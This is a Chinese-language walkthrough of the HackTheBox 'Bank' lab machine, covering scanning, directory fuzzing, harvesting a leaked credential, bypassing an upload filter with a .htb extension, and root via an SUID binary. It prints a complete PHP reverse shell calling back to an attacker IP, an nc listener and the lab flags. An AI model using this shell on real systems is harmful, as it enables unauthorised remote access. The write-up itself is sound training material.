Hackthebox - Bank

靶场信息

靶场类型

信息搜集

Nmap

┌──(root💀kali)-[~/Desktop/HTB/Easy/Bank]
└─# nmap -sS -A -sC -sV -p- --min-rate 5000 10.10.10.29
Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-28 01:51 EDT
Nmap scan report for 10.10.10.29
Host is up (0.53s latency).
Not shown: 63750 filtered ports, 1782 closed ports
PORT   STATE SERVICE    VERSION
22/tcp open  tcpwrapped
| ssh-hostkey: 
|   1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
|   2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
|   256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_  256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open  tcpwrapped
| dns-nsid: 
|_  bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open  tcpwrapped
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=3/28%OT=80%CT=7%CU=30511%PV=Y%DS=2%DC=T%G=Y%TM=62414DA
OS:A%P=x86_64-pc-linux-gnu)SEQ(CI=I)SEQ(SP=105%GCD=1%ISR=107%TI=Z%II=I%TS=8
OS:)SEQ(SP=105%GCD=1%ISR=107%TI=Z%CI=I%II=I%TS=8)OPS(O1=M54BST11NW7%O2=M54B
OS:ST11NW7%O3=M54BNNT11NW7%O4=M54BST11NW7%O5=M54BST11NW7%O6=M54BST11)WIN(W1
OS:=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%TG=40%W=7210%
OS:O=M54BNNSNW7%CC=Y%Q=)ECN(R=Y%DF=Y%T=40%W=7210%O=M54BNNSNW7%CC=Y%Q=)T1(R=
OS:Y%DF=Y%TG=40%S=O%A=S+%F=AS%RD=0%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q
OS:=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T4(R=Y%DF=Y
OS:%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%TG=40%W=0%S=Z%A=S+%F=AR%O=%
OS:RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%TG=40%
OS:W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:7(R=Y%DF=Y%TG=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A
OS:=S+%F=AR%O=%RD=0%Q=)U1(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=N)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops

TRACEROUTE (using port 143/tcp)
HOP RTT       ADDRESS
1   991.53 ms 10.10.16.1
2   233.51 ms 10.10.10.29

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 190.30 seconds

Http

直接访问 ip 地址,会进入 apache 的默认页面,同时我们看到 53 端口打开着,很典型的 DNS 服务器,添加一个解析

echo 10.10.10.29 bank.htb

然后去访问一下

这就有页面了,去 fuzz 一下目录

Fuzz

┌──(root💀kali)-[~/Desktop]
└─# ffuf -u "http://bank.htb/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://bank.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

uploads                 [Status: 301, Size: 305, Words: 20, Lines: 10]
assets                  [Status: 301, Size: 304, Words: 20, Lines: 10]
inc                     [Status: 301, Size: 301, Words: 20, Lines: 10]
balance-transfer        [Status: 301, Size: 314, Words: 20, Lines: 10]

前三个都没东西,咱们去看看第四个 balance-transfer

有很多的 .acc 结尾的文件,去看一个

这看起来像是存储的用户数据,但是都是加密的,我尝试了一下也无法解密出来,多找找看

import requests
import re

response = requests.get("http://bank.htb/balance-transfer/")
html = response.text
urls = re.findall('<a href="(.*?acc)">.*?acc</a>', html)
x = 1
y = len(urls) - 1
for url in urls:
    url = 'http://bank.htb/balance-transfer/' + url
    name = url.split('/')[-1]
    response = requests.get(url)
    with open(name, "wb") as f:
        f.write(response.content)
        print('【%s】 下载完毕 当前完成任务:%s 次 还剩任务 %s 次' % (url, x, y))
        x += 1
        y -= 1

由于数量有点多,所以我写了个简单的爬虫来自动下载文件

一共 999 个用户,下载下来看看有没有没有加密的漏网之鱼

┌──(root💀kali)-[~/…/HTB/Easy/Bank/Spider]
└─# grep -r 'bank.htb' ./                                                        
./68576f20e9732f1b2edc4df5b8533230.acc:Email: chris@bank.htb

爬虫爬完了,搜索一下有没有 bank.htb 邮箱的内容,还真搜到了一个

┌──(root💀kali)-[~/…/HTB/Easy/Bank/Spider]
└─# cat 68576f20e9732f1b2edc4df5b8533230.acc                                                                     
--ERR ENCRYPT FAILED
+=================+
| HTB Bank Report |
+=================+

===UserAccount===
Full Name: Christos Christopoulos
Email: chris@bank.htb
Password: !##HTBB4nkP4ssw0rd!##
CreditCards: 5
Transactions: 39
Balance: 8842803 .
===UserAccount===

查看一下内容,成功拿到一个可以用的账号密码

去登录一下后台看看

成功进入后台

主页上没什么功能点,就一个支持,然后在支持里面有一个文件上传功能,我尝试了一下直接上传 phpwebshell,上传失败。我们去看看网页源码

在 95 行发现这么一句

将会把 .htb 格式的文件以 .php 格式来运行,OK,思路有了

漏洞利用

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.4';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/bash -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();

    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }

    if ($pid) {
        exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}

?>

将我们的 phpshell 的后缀更改为 .htb 然后去上传

然后使用 nc 监听一个端口

nc -nvlp 4444

传上去以后,点一下附件

┌──(root💀kali)-[~/…/HTB/Easy/Bank/Spider]
└─# nc -nvlp 4444                                      
listening on [any] 4444 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.29] 37458
Linux bank 4.4.0-79-generic #100~14.04.1-Ubuntu SMP Fri May 19 18:37:52 UTC 2017 i686 athlon i686 GNU/Linux
 05:08:13 up 20:18,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1072): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bank:/$ whoami&&id
whoami&&id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)

成功拿到一个 shell

python3 -c "import pty;pty.spawn('/bin/bash')";
Ctrl+Z 返回
stty raw -echo; fg
export TERM=xterm
stty rows 51 cols 237

修复一下 shell

权限提升

find / -user root -perm -4000 -print 2>/dev/null

搜索一下我们可以用来提升权限的 SUID 文件

www-data@bank:/$ find / -user root -perm -4000 -print 2>/dev/null
/var/htb/bin/emergency
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/traceroute6.iputils
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/mtr
/usr/sbin/pppd
/bin/ping
/bin/ping6
/bin/su
/bin/fusermount
/bin/mount
/bin/umount

第一个文件一看就不简单,去运行一下

www-data@bank:/$ /var/htb/bin/emergency
# ls
bin  boot  dev  etc  home  initrd.img  initrd.img.old  lib  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var  vmlinuz  vmlinuz.old
# whoami
root

直接就 root 了?我不是很理解原理

# cat /home/chris/user.txt
20575ef51ddd60d74b616251bc305319

拿到了 user 权限的 flag 文件

# cat /root/root.txt
9e6410fc2696f73f668c5dde1f5d0d99

拿到了 root 权限的 flag 文件